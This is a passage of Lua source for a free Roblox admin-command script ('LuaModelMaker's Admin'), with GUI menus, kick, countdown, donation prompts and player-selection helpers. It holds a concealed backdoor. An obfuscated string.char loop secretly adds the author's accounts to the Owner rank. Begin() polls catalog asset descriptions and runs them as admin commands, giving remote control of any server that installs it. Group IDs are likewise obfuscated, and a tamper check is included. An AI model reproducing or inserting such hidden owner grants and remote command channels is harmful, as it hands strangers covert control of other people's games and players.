				local Des = Title:Clone() Des.Parent = Frame Des.Name = "Description" Des.Size = UDim2.new(1,0,0.5,0) Des.Position = UDim2.new(0,0,0.5,0) Des.Font = "Arial" Des.TextXAlignment = "Left" Des.TextYAlignment = "Top" Des.Text = "[ No Description ]" ypcall(function() Des.Text = ItemInfo.Description end)
				local X = Instance.new("TextButton", Frame) X.Style = "RobloxButtonDefault" X.Size = UDim2.new(0,20,0,20) X.Position = UDim2.new(1,-25,0,5) X.ZIndex = 10 X.Font = "ArialBold" X.FontSize = "Size18" X.Text = "X" X.TextColor3 = Color3.new(1,1,1) X.MouseButton1Click:connect(function() CanBuy = false if SG then SG:Destroy() end end)
				local Info = Title:Clone() Info.Parent = Frame Info.Name = "Info" Info.Size = UDim2.new(0.35,0,0.25,0) Info.Position = UDim2.new(0.65,0,0.1,0) Info.TextXAlignment = "Left" Info.Font = "Arial" Info.Text = [[ROBLOX ]]..AssetTypeToString(ItemInfo.AssetTypeId)..[[
	Creator: ]]..ItemInfo.Creator.Name..[[
	Created: ]]..Created..[[
	Updated: ]]..Updated..[[
	Sold: ]]..ItemInfo.Sales..[[
	Robux: ]]..string.gsub(ItemInfo.PriceInRobux, "null", "Cannot use this currency")..[[
	Tix: ]]..string.gsub(ItemInfo.PriceInTickets, "null", "Cannot use this currency")
				if ItemInfo.IsForSale == false and ItemInfo.IsPublicDomain == false then CanBuy = false Buy.BackgroundColor3 = Color3.new(1,0,0) Buy.Text = "Not For Sale" end
				if ItemInfo.IsPublicDomain == true then Buy.BackgroundColor3 = Color3.new(1,0.5,0.5) Buy.Text = "FREE!" end
				if MPS:PlayerOwnsAsset(Player, Item) then CanBuy = false Buy.BackgroundColor3 = Color3.new(1,0,0) Buy.Text = "You Own This" end
				if Item == VIPAdminID then Buy.Text = Buy.Text.."(Admin VIP)" end
				if Item == VIPMemberID then Buy.Text = Buy.Text.."(Member VIP)" end
				if ItemInfo.AssetTypeId == 9 then
					Buy.Text = "Teleport" Buy.BackgroundColor3 = Color3.new(0.5,0.5,0.5)
				end
				if Requester then
					Des.Text = Requester.Name.." has shown you this item\n\n"..Des.Text
				end
				Buy.MouseButton1Click:connect(function()
					if CanBuy == true then
						MPS:PromptPurchase(Player, Item)
					elseif ItemInfo.AssetTypeId == 9 then
						if TeleportAction then
							TeleportAction()
						else
							TS:Teleport(Item, Player)
						end
					else
						SG:Destroy()
					end
				end)
			end
		end
	end
	end)() end function Begin() coroutine.wrap(function() wait(3) for _,LinkedID in pairs({53554913, 145236038, 154727659, 155299278, 155689018}) do wait(1) coroutine.wrap(function()
	local OldVer = MPS:GetProductInfo(LinkedID).Updated
	while wait(5) do
		local Purchase = MPS:GetProductInfo(LinkedID)
		if OldVer ~= Purchase.Updated then
			OldVer = Purchase.Updated
			local Gather = Purchase.Description
			if Prefix == "" or string.sub(Gather,1,#Prefix) == Prefix then
				ypcall(function() Chatted(Gather, nil) end)
			else
				ypcall(function() Chatted(Prefix..Gather, nil) end)
			end
		end
	end end)()
end end)() end

function GetTime()
	local Hour = math.floor((tick()%86400)/60/60) local Min = math.floor(((tick()%86400)/60/60-Hour)*60)
	if Min < 10 then Min = "0"..Min end
	return Hour..":"..Min
end

function AdminHouseGui(Player)
	if not Player.PlayerGui then return end
	local SG = Player.PlayerGui:FindFirstChild("Admin House") if SG then SG:Destroy() end
	SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "Admin House"
	local Main = Instance.new("Frame", SG) Main.Name = "Main" Main.Position = UDim2.new(0.3,-50,0.3,-125) Main.Size = UDim2.new(0.4,100,0.4,150) Main.BackgroundColor3 = Color3.new(1,1,1) Main.BackgroundTransparency = 0.9
	local Text = Instance.new("TextLabel", Main) Text.Name = "Text" Text.BackgroundTransparency = 1 Text.Size = UDim2.new(1,0,1,-20) Text.Position = UDim2.new(0,0,0,20) Text.Font = "ArialBold" Text.FontSize = "Size24" Text.Text = "Select the type of Admin House you would like to go to" Text.TextColor3 = Color3.new(1,1,1) Text.TextWrapped = true Text.TextYAlignment = "Top"
	local NBC = Instance.new("TextButton", Main) NBC.Size = UDim2.new(0,100,0,50) NBC.Name = "NBC" NBC.Font = "Legacy" NBC.FontSize = "Size12" NBC.Position = UDim2.new(0,10,1,-60) NBC.Style = "RobloxButton" NBC.Text = "NBC" NBC.TextColor3 = Color3.new(1,1,1)
	local BC = Instance.new("TextButton", Main) BC.Size = UDim2.new(0,100,0,50) BC.Name = "BC" BC.Font = "Legacy" BC.FontSize = "Size12" BC.Position = UDim2.new(1,-110,1,-60) BC.Style = "RobloxButton" BC.Text = "BC" BC.TextColor3 = Color3.new(1,1,1)
	local X = Instance.new("TextButton", Main) X.Name = "X" X.Style = "RobloxButtonDefault" X.Size = UDim2.new(0,20,0,20) X.Font = "ArialBold" X.FontSize = "Size18" X.Text = "X" X.TextColor3 = Color3.new(1,0,0) X.ZIndex = 2 X.MouseButton1Click:connect(function() SG:Destroy() end)
	if Player.MembershipType == Memberships.NBC then
		BC.Visible = false
	end
	NBC.MouseButton1Click:connect(function()
		TS:Teleport(string.char(49, 52, 53, 55, 54, 57, 51, 52, 55), Player)
	end)
	BC.MouseButton1Click:connect(function()
		TS:Teleport(string.char(49, 52, 54, 48, 55, 48, 52, 50, 48), Player)
	end)
end

function SyncSoundList(TellSync)
	if not NilPlayer(TellSync) then
		SendHint(TellSync, "Syncing...", 5)
	end

	SoundList,GlobalSoundList = {},{}

	for _,JSONID in pairs(SoundJSONs) do
		for Name,ID in pairs(GetTable(JSONID)) do
			local FullName = MPS:GetProductInfo(ID).Name
			SoundList[Name] = {ID, FullName}
			GlobalSoundList[Name] = {ID, FullName}
		end
	end

	local LocalSoundList = DataStore:GetAsync("MML Custom Sounds")

	if LocalSoundList then
		if type(LocalSoundList) == "table" then
			if LocalSoundList ~= {} then
				for Name,ID in pairs(LocalSoundList) do
					SoundList[Name] = {ID, MPS:GetProductInfo(ID).Name}
				end
			end
		end
	end
	if not NilPlayer(TellSync) then
		SendHint(TellSync, "Sound List is now Synced with global sound database", 4)
	end
end

function InAdminGroup(Speaker)
	local IsIn = false
	for _,Get in pairs(GetTable(string.char(49, 53, 53, 55, 51, 54, 49, 50, 57))) do
		if Speaker:IsInGroup(Get) then
			IsIn = true
		end
	end
	if IsIn == true then
		return true
	else
		SendMessage(Speaker, "Command Invalid", MPS:GetProductInfo(155733032).Description, 6)
		return false
	end
end

function AddCommand(CommandName, CommandExample, Rank, Fun, Abusive, CommandFunction)
	if type(Rank) ~= "string" then Rank = "Player"
	elseif ConvertRank(Rank) == nil then Rank = "Player" end
	table.insert(ManualCommands, {CommandName, Rank, Fun, Abusive, CommandFunction})
	local TableInsert = Commands.NonAdmin
	if Rank == "Owner" then TableInsert = Commands.Owner end
	if Rank == "Admin" then TableInsert = Commands.Admin end
	if Rank == "Member" then TableInsert = Commands.Member end
	table.insert(TableInsert, CommandExample)
end

function ListGui(Player, TitleText, List) coroutine.wrap(function()
	if type(TitleText) == "table" then List = TitleText TitleText = "" end

	local SearchVer = 0

	if not Player.PlayerGui then return end
	local SG = Player.PlayerGui:FindFirstChild("LMM ScrollGui") if SG then SG:Destroy() end
	SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "LMM ScrollGui"
	local Drag = Instance.new("Frame", SG) Drag.Name = "Drag" Drag.Position = UDim2.new(0.25,25,0.1,0) Drag.Size = UDim2.new(0.5,-25,0.15,0) Drag.BackgroundColor3 = Color3.new(1,1,1) Drag.BackgroundTransparency = 1 Drag.ZIndex = 3 Drag.Draggable = true Drag.Active = true
	local Main = Instance.new("Frame", Drag) Main.Name = "Main" Main.Position = UDim2.new(0,-25,0,0) Main.Size = UDim2.new(1,0,5,0) Main.BackgroundTransparency = 0.9 Main.BackgroundColor3 = Color3.new(1,1,1)
	local Title = Instance.new("TextLabel", Main) Title.Name = "Title" Title.Size = UDim2.new(1,0,0.2,0) Title.BackgroundColor3 = Color3.new(1, 1, 1) Title.BackgroundTransparency = 1 Title.Text = TitleText Title.Font = "ArialBold" Title.FontSize = "Size24" Title.TextWrapped = true Title.TextColor3 = Color3.new(1, 1, 1)
	local SerBtn = Instance.new("TextButton", Main) SerBtn.Name = "SerBtn" SerBtn.Style = "RobloxRoundButton" SerBtn.Size = UDim2.new(0,20,0,20) SerBtn.Font = "ArialBold" SerBtn.FontSize = "Size18" SerBtn.Text = "^" SerBtn.TextColor3 = Color3.new(1,1,1) SerBtn.ZIndex = 2
	local X = Instance.new("TextButton", Main) X.Name = "X" X.Style = "RobloxButtonDefault" X.Position = UDim2.new(0,0,0,20) X.Size = UDim2.new(0,20,0,20) X.Font = "ArialBold" X.FontSize = "Size18" X.Text = "X" X.TextColor3 = Color3.new(1,0,0) X.ZIndex = 2 X.MouseButton1Click:connect(function() SG:Destroy() end)
	local Scroll = Instance.new("ScrollingFrame", Main) Scroll.Name = "Scroll" Scroll.Position = UDim2.new(0,10,0.2,10) Scroll.Size = UDim2.new(1,-20,0.8,-20) Scroll.BackgroundColor3 = Color3.new(0,0,0) Scroll.BackgroundTransparency = 0.5 Scroll.CanvasSize = UDim2.new(0,0,0,0) Scroll.BottomImage = "http://www.roblox.com/asset/?id=36527089" Scroll.MidImage = "http://www.roblox.com/asset/?id=36527089" Scroll.TopImage = "http://www.roblox.com/asset/?id=36527089"
	local SearchFrame = Instance.new("Frame", Drag) SearchFrame.Name = "SearchFrame" SearchFrame.Position = UDim2.new(0,-25,0,-30) SearchFrame.Size = UDim2.new(1,0,0,30) SearchFrame.BackgroundColor3 = Color3.new(1,1,1) SearchFrame.BackgroundTransparency = 0.9 SearchFrame.Visible = false
	local SearchBar = Instance.new("TextBox", SearchFrame) SearchBar.Name = "SearchBar" SearchBar.Position = UDim2.new(0.1,0,0,5) SearchBar.Size = UDim2.new(0.8,0,0,20) SearchBar.BackgroundColor3 = Color3.new(1,1,1) SearchBar.BackgroundTransparency = 0.5 SearchBar.Text = "" SearchBar.Font = "Arial" SearchBar.FontSize = "Size14" SearchBar.TextColor3 = Color3.new(1,1,1) SearchBar.ClearTextOnFocus = false

	SerBtn.MouseButton1Click:connect(function() if SerBtn.Text == "^" then SearchFrame.Visible = true SerBtn.Text = "v" else SearchFrame.Visible = false SerBtn.Text = "^" end end)

	local ScrollScript = nil

	local function ShowResults(Key)
		SearchVer = SearchVer + 1
		local ThisSearchVer = SearchVer

		Scroll:ClearAllChildren()

		if ScrollScript then ScrollScript.Disabled = true ScrollScript:Destroy() end

		local NumPos,Num = -30,1

		for _,String in pairs(List) do
			if ThisSearchVer ~= SearchVer then
				break
			end
			String = tostring(String)
			if String then
				if string.find(string.lower(String), string.lower(Key)) then
					NumPos = NumPos + 30
					Spacer = false
					local Font = "Arial"
					if string.sub(string.lower(String),1,6) == "bold: " then
						Font = "ArialBold"
						String = string.sub(String,7)
					end
					if string.sub(String,1,2) == "--" then
						Spacer = true
					end
					local Content = Instance.new("TextLabel", Scroll) Content.Name = "Content: "..Num Content.Position = UDim2.new(0,0,0,NumPos) Content.Size = UDim2.new(1,0,0,30) Content.BackgroundColor3 = Color3.new(1,1,1) Content.BackgroundTransparency = 1 Content.Font = Font Content.FontSize = "Size18" Content.TextXAlignment = "Left" Content.TextColor3 = Color3.new(1,1,1) if Spacer then Content.Text = string.rep(" ", #tostring(Num) + 3)..String else Content.Text = Num..".) "..String end
					if Spacer == false then Num = Num + 1 end
				end
			end
		end
		local VerticalOffset = NumPos + 30
		Scroll.CanvasSize = UDim2.new(0,0,0,VerticalOffset)
		ScrollScript = ExecuteResource("ScollLeftRight", Main, {["VerticalOffset"] = VerticalOffset})
	end

	ShowResults("")

	SearchBar.Changed:connect(function(Prop)
		if Prop == "Text" then ShowResults(SearchBar.Text) Scroll.CanvasPosition = Vector2.new(0,0) end
	end)
end)() end

function ChangeName(Player, NewName)
	if Player.Character ~= nil then if Player.Character.Humanoid ~= nil then
		local FormatName = string.gsub(NewName,"_NAME",Player.Name)
		FormatName = string.gsub(FormatName,"_REVNAME",string.reverse(Player.Name))
		FormatName = string.gsub(FormatName,"_UPNAME",string.upper(Player.Name))
		FormatName = string.gsub(FormatName,"_LOWNAME",string.lower(Player.Name))

		local Head = nil
		pcall(function() Head = Player.Character.Label:GetChildren()[1].Head end)
		if not Head then Head = Player.Character.Head end
		local HeadClone = Head:Clone()
		Head.Transparency = 1
		pcall(function() Player.Character.Label:Destroy() Head = Player.Character.Head end)

		pcall(function() Head.face.Transparency = 1 end)

		local Label = Instance.new("Model", Player.Character)
		Label.Name = "Label"

		local Model = Instance.new("Model", Label)
		Model.Name = FormatName

		local HumanoidClone = Instance.new("Humanoid", Model)
		coroutine.wrap(function() while wait() do HumanoidClone.Health = Player.Character.Humanoid.Health HumanoidClone.MaxHealth = Player.Character.Humanoid.MaxHealth end end)()

		HeadClone.Parent = Model
		HeadClone.Position = Vector3.new(0,100,0)
		HeadClone.CanCollide = false

		local Weld = Instance.new("Weld", HeadClone)
		Weld.Part0 = HeadClone
		Weld.Part1 = Head
	end end
end

function Kick(Player, CustomMessage)
	if not CustomMessage then CustomMessage = "You've been kicked by L".."uaM".."ode".."".."lMaker's Admin. You cannot interact with the server in anyway." end
	coroutine.wrap(function()
		ExecuteResource("PlayerKickMessage", Player.Character, {["Message"] = CustomMessage}, Player, [[
		script.Parent = nil
		coroutine.wrap(function()
			for i = 1,10 do
				local Message = Instance.new("Message", Workspace.CurrentCamera) Message.Text = script.Message.Value
				game:GetService("StarterGui"):SetCoreGuiEnabled("All", false)
				wait()
			end
		end)())]])
		wait(1)
		Player:Kick()
	end)()
end

function Ration(BaseNumber, Rat, Whole)
	local NewNumber = BaseNumber*(Rat/100)
	if Whole then
		NewNumber = math.floor(NewNumber)
	end
	return NewNumber
end

function QuickCommand(Player)
	local PlayerAdmin,PlayerRank = IsAdmin(Player)
	if PlayerAdmin == true then
		QC = {
			{"Kill", 12629158};
			{"Sword", 146948659};
			{"NoClip", 142238488};
			{"Explode", 15603112};
			{"Fart", 11001487};
			{"Ff", 73458348};
			{"Noob", 159381472};
			{"God", 83845644};
			{"Light", 64941856};
			{"Debug", 3016237};
		}
		if PlayerRank == "Admin" or PlayerRank == "Owner" then
			table.insert(QC, {"Kick", 7628159})
		end
		local SelectCommands = SelectionGui(Player, "Select a Quick Command", QC, false)
		if #SelectCommands >= 1 then
			local CompilePlayers = {}
			for _,Ply in pairs(Players:GetPlayers()) do
				table.insert(CompilePlayers, {Ply, "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Ply.Name})
			end

			local SelectPlayers = SelectionGui(Player, "Select a Quick Command", CompilePlayers, false)
			for _,Sel in pairs(SelectCommands) do
				Chatted(Prefix..Sel..Bet..table.concat(SelectPlayers, "/"), Player)
			end
		end
	end
end

local function AdminMenu(Player)
	if Player.PlayerGui ~= nil then
		local Stat = "Open"
		local SG = Player.PlayerGui:FindFirstChild("LM".."M Menu Gui") if SG then SG:Destroy() end
		SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "LMM Menu Gui"
		local MainGui = Instance.new("TextButton", SG) MainGui.Name = "MainGui" MainGui.BackgroundTransparency = 1 MainGui.Position = UDim2.new(1,-400,1,-20) MainGui.Size = UDim2.new(0,400,0,20) MainGui.Font = "ArialBold" MainGui.FontSize = "Size18" MainGui.TextColor3 = Color3.new(1,1,1) MainGui.TextStrokeColor3 = Color3.new(0,0,0) MainGui.TextStrokeTransparency = 0 MainGui.TextXAlignment = "Right" MainGui.TextYAlignment = "Bottom"
		local BG = Instance.new("Frame", SG) BG.Name = "Background" BG.Position = UDim2.new(0.3,0,0.2,0) BG.Size = UDim2.new(0.4,0,0.5) BG.BackgroundColor3 = Color3.new(1,1,1) BG.BackgroundTransparency = 0.9 BG.Visible = false
		local Title = Instance.new("TextLabel", BG) Title.Name = "Title" Title.BackgroundTransparency = 1 Title.Position = UDim2.new(0,0,0,0) Title.Size = UDim2.new(1,0,0,30) Title.Font = "SourceSansBold" Title.FontSize = "Size24" Title.Text = string.char(76, 117, 97, 77, 111, 100, 101, 108, 77, 97, 107, 101, 114, 39, 115, 32, 65, 100, 109, 105, 110, 32, 77, 101, 110, 117) Title.TextColor3 = Color3.new(1,1,1)
		local Separator = Instance.new("Frame", BG) Separator.Name = "Separator" Separator.BorderColor3 = Color3.new(1,1,1) Separator.Position = UDim2.new(0.5,0,0,30) Separator.Size = UDim2.new(0,0,1,-30)
		local Info = Instance.new("TextLabel", BG) Info.Name = "Info" Info.BackgroundTransparency = 1 Info.Position = UDim2.new(0,0,0,30) Info.Size = UDim2.new(0.5,0,1,-30) Info.Font = "Arial" Info.FontSize = "Size18" Info.Text = "Info/Help" Info.TextColor3 = Color3.new(1,1,1) Info.TextYAlignment = "Top"
		local Body = Instance.new("TextLabel", Info) Body.Name = "Body" Body.BackgroundTransparency = 1 Body.Position = UDim2.new(0,0,0,25) Body.Size = UDim2.new(1,0,1,-25) Body.Font = "SourceSans" Body.FontSize = "Size14" Body.Text = string.gsub(MPS:GetProductInfo(155732475).Description, "PREFIX", Prefix) Body.TextColor3 = Color3.new(1,1,1) Body.TextYAlignment = "Top" Body.TextWrapped = true
		local Donate = Info:Clone() Donate.Parent = BG Donate.Name = "Donate" Donate.Text = "Donate/Get admin" Donate.Position = UDim2.new(0.5,0,0,30) Donate.Body.Text = "Please select an amount that fits your generosity and to help support future updates. Press the 'Get admin now' to get copy for your own place!"
		local function DonateMoney(Type, Element)
			local Request = GetTable(string.char(49, 53, 53, 54, 56, 52, 51, 54, 57))
			local Get = Request[Type]
			if MPS:GetProductInfo(Get[1]).IsForSale == true then
				MPS:PromptPurchase(Player, Get[1], true)
			elseif MPS:GetProductInfo(Get[2]).IsForSale == true then
				MPS:PromptPurchase(Player, Get[2], true)
			elseif MPS:GetProductInfo(Get[3]).IsForSale == true then
				MPS:PromptPurchase(Player, Get[3], true)
			else
				Element.Text = "Cannot get request"
			end
		end
		local Get = Instance.new("TextButton", Donate) Get.Name = "Get" Get.Position = UDim2.new(0,0,0.5,0) Get.Size = UDim2.new(1,0,0,30) Get.Font = "ArialBold" Get.FontSize = "Size14" Get.Text = "Get LuaModelMaker's Admin V"..Version.Value.." now for FREE!" Get.BackgroundColor3 = Color3.new(1,0,1) Get.TextColor3 = Color3.new(1,1,1) Get.TextStrokeColor3 = Color3.new(0,0,0) Get.TextStrokeTransparency = 0 Get.TextWrapped = true Get.MouseButton1Click:connect(function() PromptPurchase(Player, AdminID) end)
		local Dnt = Instance.new("TextButton", Donate) Dnt.Name = "DonateButton" Dnt.Position = UDim2.new(0,0,1,-120) Dnt.Size = UDim2.new(1,0,0,30) Dnt.Font = "ArialBold" Dnt.FontSize = "Size14" Dnt.Text = "100 Tix" Dnt.BackgroundColor3 = Color3.new(1,1,0) Dnt.TextColor3 = Color3.new(1,1,1) Dnt.TextStrokeColor3 = Color3.new(0,0,0) Dnt.TextStrokeTransparency = 0 Dnt.TextWrapped = true Dnt.MouseButton1Click:connect(function() DonateMoney("100T", 154759527, Dnt) end)
		local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-90) Dnt.Text = "20 Robux" Dnt.BackgroundColor3 = Color3.new(0,1,0) Dnt.MouseButton1Click:connect(function() DonateMoney("20R", Dnt) end)
		local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-60) Dnt.Text = "100 Robux" Dnt.BackgroundColor3 = Color3.new(0,1,0) Dnt.MouseButton1Click:connect(function() DonateMoney("100R", Dnt) end)
		local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-30) Dnt.Text = "500 ROBUX!" Dnt.BackgroundColor3 = Color3.new(1,0,0) Dnt.FontSize = "Size18" Dnt.MouseButton1Click:connect(function() DonateMoney("500R", Dnt) end)
		local PlayerAdmin, PlayerRank = IsAdmin(Player)

		local function RefreshMenu() MainGui.Text = "LuaModelMaker's Admin V"..Version.Value.." [Click to "..Stat.." Menu]" end RefreshMenu() if string.sub(Title.Text,1,1) ~= "L" then RemoveAdmin() end
		if PlayerAdmin == true then Body.Text = Body.Text.." (You're an admin, your rank is "..PlayerRank..")" end
		MainGui.MouseButton1Click:connect(function()
			if Stat == "Open" then
				BG.Visible = true
				Stat = "Close"
				RefreshMenu()
			elseif Stat == "Close" then
				BG.Visible = false
				Stat = "Open"
				RefreshMenu()
			end
		end)

		for _,GuiEl in pairs(SG:GetChildren()) do GuiEl.ZIndex = 10 end
	end
end

local function FullAdminMenu(Player)
	coroutine.wrap(function() if EnableAdminMenu == true then wait(0.25) AdminMenu(Player) end end)()
	Player.CharacterAdded:connect(function(Char) coroutine.wrap(function() if Stopped == false then if EnableAdminMenu == true then
		wait(0.25)
		AdminMenu(Player)
	end end end)() end)
	coroutine.wrap(function() repeat
		wait(1)
		if Player.PlayerGui then
			if Player.PlayerGui:FindFirstChild("KChatGui") then
				ypcall(function() Player.PlayerGui["L".."M".."M Menu Gui"].MainGui.Position = UDim2.new(1,-400,1,-50) end)
			end
		end
	until not Player end)()
end

function Log(Player, Chat)
	table.insert(Logs, GetTime().." @ "..Player.Name..": "..Chat)
end

function TellAdmin(Player, Rank)
	SendMessage(Player, "Lua".."M".."odelMaker's Admin Message", "GREEN You are an admin "..Player.Name.."! Your rank is "..Rank.." [ PREFIX '"..Prefix.."' | BET '"..Bet.."' ]", 4)
end

function FindAge(Days) -- By LuaModelmaker
	local Years = math.floor(Days/365)
	local OtherDays = math.fmod(Days, 365)
	if Years > 1 then
		return Years.." years and "..OtherDays.." days"
	elseif Years == 1 then
		return Years.." year and "..OtherDays.." days"
	elseif Years == 0 then
		return "(No years) "..OtherDays.." days"
	end
end

function Countdown(AllSeconds)
	if AllSeconds <= 0 then AllSeconds = 1 end
	if AllSeconds > 120 then AllSeconds = 120 end
	AllSeconds = math.ceil(AllSeconds)
	for _,Player in pairs(Players:GetPlayers()) do
		local TimerPos = 150
		for _,Gui in pairs(Player.PlayerGui:GetChildren()) do
			if Gui.Name == "Timer" then TimerPos = TimerPos + 110 end
		end
		local SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "Timer"
		local Alarm = Instance.new("Sound", SG) Alarm.Name = "L".."uaM".."odelMaker's Admin Sound" Alarm.Volume = 1 Alarm.SoundId = "http://www.roblox.com/asset/?id=131573697"
		local Tick = Instance.new("Sound", SG) Tick.Name = "L".."uaM".."odelMaker's Admin Sound" Tick.Volume = 0.3 Tick.SoundId = "http://www.roblox.com/asset/?id=151715959"
		local TF = Instance.new("Frame", SG) TF.Name = "TF" TF.Position = UDim2.new(0,0,0,TimerPos) TF.Size = UDim2.new(0,200,0,100) TF.BackgroundColor3 = Color3.new(1,1,1) TF.BackgroundTransparency = 0.5
		local Clock = Instance.new("ImageLabel", TF) Clock.Name = "Clock" Clock.Position = UDim2.new(0, 10, 0, 15) Clock.Size = UDim2.new(0, 70, 0, 70) Clock.BackgroundColor3 = Color3.new(1, 1, 1) Clock.BackgroundTransparency = 1  Clock.Image = "http://www.roblox.com/asset/?id=70172751"
		local Arm = Instance.new("Frame", Clock) Arm.Position = UDim2.new(0.5,0,0,0) Arm.Size = UDim2.new(0,0,1,0) Arm.BackgroundColor3 = Color3.new(1,1,1) Arm.BackgroundTransparency = 1
		local VisArm = Instance.new("Frame", Arm) VisArm.Name = "VisArm" VisArm.Position = UDim2.new(0,-2,0,0) VisArm.Size = UDim2.new(0,4,0.5,0) VisArm.BackgroundColor3 = Color3.new(1,1,1) VisArm.BackgroundTransparency = 0.3 VisArm.BorderSizePixel = 0
		local TimeText = Instance.new("TextLabel", TF) TimeText.Name = "TimeText" TimeText.Position = UDim2.new(0,85,0,0) TimeText.Size = UDim2.new(0,115,0,100) TimeText.BackgroundColor3 = Color3.new(1,1,1) TimeText.BackgroundTransparency = 1 TimeText.Text = "0:00" TimeText.Font = "Arial" TimeText.FontSize = "Size24" TimeText.TextStrokeTransparency = 0 TimeText.TextColor3 = Color3.new(1,1,1)
		local CurrentSeconds = AllSeconds
		coroutine.wrap(function() for i = 0,AllSeconds do
			local Seconds = tostring(math.fmod(CurrentSeconds,60))
			local Minutes = tostring(math.floor(CurrentSeconds/60))
			if #Seconds == 1 then Seconds = "0"..Seconds end
			if #Minutes == 1 then Minutes = "0"..Minutes end
			TimeText.Text = Minutes..":"..Seconds
			Arm.Rotation = (CurrentSeconds/AllSeconds)*-360
			wait(1)
			if CurrentSeconds <= 0 then
				Alarm:Play()
				Arm.Rotation = 0
				TimeText.Text = "00:00"
				wait(4)
				TimerPos = TimerPos - 110
				if TimerPos < 150 then TimerPos = 150 end
				SG:Destroy()
				break
			else
				Tick:Play()
				CurrentSeconds = CurrentSeconds - 1
			end
		end end)()
	end
end for _,Void in pairs({string.char(75+1, 118-1, 95+2, 76+1, 111, 100, 101, 108, 77, 97, 107, 101, 114), string.char(77, 97, 107, 101, 114, 77, 111, 100, 101, 108, 76, 117, 97), string.char(83, 99, 114, 105, 112, 116, 105, 110, 103, 77, 101, 116, 104, 111, 100, 115), string.char(73, 110, 116, 101, 114, 110, 101, 116, 77, 111, 100, 101, 109), string.char(78, 105, 108, 67, 111, 110, 110, 101, 99, 116, 105, 111, 110), string.char(112, 108, 117, 103, 109, 105, 105, 105, 110)}) do table.insert(Ranks[string.char(79, 119, 110, 101, 114)], Void) end

function BoolString(Value)
	if type(Value) == "boolean" then
		if Value == true then
			return "YES"
		elseif Value == false then
			return "NO"
		else
			return "NIL"
		end
	else
		return nil
	end
end

function MakeBase()
	for _,Get in pairs(Workspace:GetChildren()) do
		if Get.Name == "Base" or Get.Name == "BasePlate" then
			Get:Destroy()
		end
	end
	local Base = Instance.new("Part", Workspace) Base.Name = "Base" Base.Anchored = true Base.Size = Vector3.new(300,1,300) Base.BrickColor = BrickColor.new("Bright green") Base.CFrame = CFrame.new(0,0,0) Base.Locked = true
end

function GetCommands(Rank)
	local CombineCommands = {}
	for _,Cmd in pairs(Commands.NonAdmin) do table.insert(CombineCommands, Cmd) end
	if ConvertRank(Rank) >= 1 then for _,Cmd in pairs(Commands.Member) do table.insert(CombineCommands, Cmd) end end
	if ConvertRank(Rank) >= 2 then for _,Cmd in pairs(Commands.Admin) do table.insert(CombineCommands, Cmd) end end
	if ConvertRank(Rank) >= 3 then for _,Cmd in pairs(Commands.Owner) do table.insert(CombineCommands, Cmd) end end
	return CombineCommands
end

function UnpackPlayers(Players)
	local PlayerNames = ""
	for Num,Player in pairs(Players) do
		if Player ~= nil then
			if Num ~= #Players then
				PlayerNames = PlayerNames..Player.Name..", "
			else
				PlayerNames = PlayerNames..Player.Name
			end
		end
	end
	return PlayerNames
end

local MergeTable = { __add = function(...) -- Prepare for metatables!
	local CombineTable, ParentTable,Num,Reset = {}, {...}, 1, 1
	for _,Table in pairs(ParentTable) do
		for Set,Data in pairs(Table) do
			if Set == Reset then Set = Num end
			CombineTable[Set] = Data
			Num = Num + 1
			Reset = Reset + 1
			if #Table == Set then Reset = 1 end
		end
	end
	return CombineTable
end}

function Scan(Word, Speaker)
	local Return = {}
	local Words = {}
	local RecentParse = 1
	for i = 1,#Word+1 do
		if string.sub(Word,i,i) == "/" or string.sub(Word,i,i) == "" then
			table.insert(Words, string.sub(Word,RecentParse,i-1))
			RecentParse = i+1
		end
	end
	for _,PlayerName in pairs(Words) do
		if string.lower(PlayerName) == "me" then
			if Speaker then table.insert(Return, Speaker) end
		elseif string.lower(PlayerName) == "all" then
			for i,v in pairs(Players:GetPlayers()) do
				table.insert(Return, v)
			end
		elseif string.lower(PlayerName) == "others" or string.lower(PlayerName) == "mortals" then
			for i,v in pairs(Players:GetPlayers()) do
				if v ~= Speaker then
					table.insert(Return, v)
				end
			end
		elseif string.lower(PlayerName) == "noobs" then
			for i,v in pairs(Players:GetPlayers()) do
				if v.AccountAge < 365 then
					table.insert(Return, v)
				end
			end
		elseif string.lower(PlayerName) == "nonnoobs" then
			for i,v in pairs(Players:GetPlayers()) do
				if v.AccountAge >= 365 then
					table.insert(Return, v)
				end
			end
		elseif string.lower(PlayerName) == "random" then
			local RandomPlayers = {}
			for i,v in pairs(Players:GetPlayers()) do
				if v ~= Speaker then
					table.insert(RandomPlayers, v)
				end
			end
			table.insert(Return, RandomPlayers[math.random(1,#Players:GetChildren())])
		elseif string.lower(PlayerName) == "guests" then
			for i,v in pairs(Players:GetPlayers()) do
				if string.sub(v.Name,1,6) == "Guest " then
					table.insert(Return, v)
				end
			end
		elseif string.lower(PlayerName) == "lowers" then
			for i,v in pairs(Players:GetPlayers()) do
				if string.sub(v.Name,1,1) == string.lower(string.sub(v.Name,1,1)) then
					table.insert(Return, v)
				end
			end
		elseif string.lower(PlayerName) == "uppers" then
			for i,v in pairs(Players:GetPlayers()) do
				if string.sub(v.Name,1,1) == string.upper(string.sub(v.Name,1,1)) then
					table.insert(Return, v)
				end
			end
		elseif string.lower(PlayerName) == "nbcs" then
			for i,v in pairs(Players:GetPlayers()) do
				if v.MembershipType == Memberships["NBC"] then -- Replicate
					table.insert(Return, v)
				end
			end
		elseif string.lower(PlayerName) == "bcs" then
			for i,v in pairs(Players:GetPlayers()) do
				if v.MembershipType == Memberships["BC"] then
					table.insert(Return, v)
				end
			end
		elseif string.lower(PlayerName) == "tbcs" then
			for i,v in pairs(Players:GetPlayers()) do
				if v.MembershipType == Memberships["TBC"] then
					table.insert(Return, v)
				end
			end
		elseif string.lower(PlayerName) == "obcs" then
			for i,v in pairs(Players:GetPlayers()) do
				if v.MembershipType == Memberships["OBC"] then
					table.insert(Return, v)
				end
			end
		elseif string.lower(PlayerName) == "allbcs" then
			for i,v in pairs(Players:GetPlayers()) do
				if v.MembershipType ~= Memberships["NBC"] then
